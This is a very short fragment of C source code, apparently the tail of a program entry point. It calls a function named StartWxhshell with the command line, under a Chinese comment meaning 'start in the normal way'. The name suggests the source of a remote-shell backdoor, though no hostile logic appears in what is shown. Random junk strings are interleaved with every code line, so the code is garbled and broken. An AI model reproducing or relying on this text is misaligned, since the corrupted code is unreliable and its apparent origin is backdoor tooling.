else Xp^$ E6YFy
// 普通方式启动 dXZP[K#
StartWxhshell(lpCmdLine); Lz6*H1~
.mt^m
return 0; }su6izx
}